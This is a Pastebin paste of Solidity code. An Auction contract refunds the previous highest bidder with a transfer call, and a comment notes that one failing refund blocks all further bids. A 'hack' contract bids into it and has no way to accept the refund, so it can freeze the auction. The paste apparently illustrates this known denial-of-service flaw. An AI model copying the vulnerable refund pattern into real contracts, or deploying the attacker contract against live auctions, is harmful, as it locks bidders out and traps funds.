Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- pragma solidity ^0.5.8;
- contract Auction {
- address payable private highestBidder;
- string highest_Bidder_name;
- uint private highestBid;
- function bid(string memory name) public payable {
- require(msg.value >= highestBid);
- if (highestBidder != address(0)) {
- highestBidder.transfer(highestBid); // if this call consistently fails, no one else can bid
- highest_Bidder_name = name;
- }
- highestBidder = msg.sender;
- highestBid = msg.value;
- }
- function get_cur_winner() view external returns(address payable){
- return highestBidder;
- }
- function get_highest_bid() view external returns(uint){
- return highestBid;
- }
- function get_bidder_name() view external returns(string memory){
- return highest_Bidder_name;
- }
- }
- contract hack{
- Auction auct;
- constructor(address payable auct_addr)public{
- auct = Auction(auct_addr);
- }
- function d()view external returns(uint){
- return auct.get_highest_bid();
- }
- function b(uint p) payable public{
- auct.bid.value(p)("AA");
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement